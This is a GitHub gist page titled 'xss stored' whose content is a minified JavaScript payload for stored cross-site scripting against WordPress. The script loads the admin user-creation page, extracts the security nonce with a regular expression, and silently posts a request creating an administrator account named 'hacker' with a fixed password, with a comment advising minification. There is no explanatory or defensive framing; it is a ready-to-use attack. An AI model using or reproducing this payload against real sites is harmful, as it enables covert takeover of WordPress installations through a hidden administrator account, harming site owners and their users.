Skip to content

Instantly share code, notes, and snippets.

@c0d3x27
Last active January 14, 2025 00:22
Show Gist options
  • Save c0d3x27/e98450ac0f8075f1981c20851c95c060 to your computer and use it in GitHub Desktop.
Save c0d3x27/e98450ac0f8075f1981c20851c95c060 to your computer and use it in GitHub Desktop.
xss stored
let ajaxRequest=new XMLHttpRequest();const requestURL="/wp-admin/user-new.php";const nonceRegex=/ser" value="([^"]*?)"/g;ajaxRequest.open("GET",requestURL,!1);ajaxRequest.send();const nonceMatch=nonceRegex.exec(ajaxRequest.responseText);const nonce=nonceMatch[1];const params="action=createuser&_wpnonce_create-user="+nonce+"&user_login=hacker&[email protected]"+"&pass1=hackerpass&pass2=hackerpass&role=administrator";ajaxRequest=new XMLHttpRequest();ajaxRequest.open("POST",requestURL,!0);ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");ajaxRequest.send(params)
//Use the js minify option
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment